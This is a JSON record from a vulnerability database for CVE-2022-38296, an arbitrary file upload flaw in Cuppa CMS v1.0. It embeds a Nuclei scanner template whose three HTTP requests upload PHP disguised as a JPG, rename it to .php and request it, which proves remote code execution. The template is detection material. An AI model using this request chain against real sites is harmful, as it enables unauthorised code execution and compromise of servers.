{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-38296/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-38296/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-38296/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-38296/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-38296/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-38296"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-38296"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-38296.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-38296\n\ninfo:\n  name: Cuppa CMS v1.0 - Arbitrary File Upload\n  author: theamanrawat\n  severity: critical\n  description: |\n    Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.\n  impact: |\n    Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.\n  remediation: |\n    Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.\n  reference:\n    - https://github.com/CuppaCMS/CuppaCMS\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-38296\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-38296\n    cwe-id: CWE-434\n    epss-score: 0.05137\n    epss-percentile: 0.92085\n    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: cuppacms\n    product: cuppacms\n  tags: cve,cve2022,rce,cuppa,intrusive,cuppacms,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /js/jquery_file_upload/server/php/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI\n\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"path\"\n\n        /\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"unique_name\"\n\n        true\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"resize_width\"\n\n\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"resize_height\"\n\n\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"crop\"\n\n\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"compress\"\n\n\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI\n        Content-Disposition: form-data; name=\"files[]\"; filename=\"test-{{randstr}}.jpg\"\n        Content-Type: image/jpeg\n\n        <?php\n\n        echo md5(\"CVE-2022-38296\");\n\n        ?>\n        ------WebKitFormBoundary9MZjlIG8fVPjrlCI--\n      - |\n        POST /js/filemanager/api/index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"from\":\"//{{filename}}\",\"to\":\"//{{randstr}}.php\",\"action\":\"rename\"}\n      - |\n        GET /media/{{randstr}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_3\n        words:\n          - ed6bf8b1b4b8e64836455fe32b958c2c\n        condition: and\n\n      - type: word\n        part: header_3\n        words:\n          - text/html\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: filename\n        group: 1\n        regex:\n          - '\"name\":\"(.*?)\",'\n        internal: true\n# digest: 4a0a00473045022100de82ed762bf0884ea47c9d53e282c49e0d64ab90c67549b4ca80e2a1b943690502206dd9d9d85657bc405c6538780629cf1d4da8347cec9f5e079b32d16f6cfa308a:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-38296"
}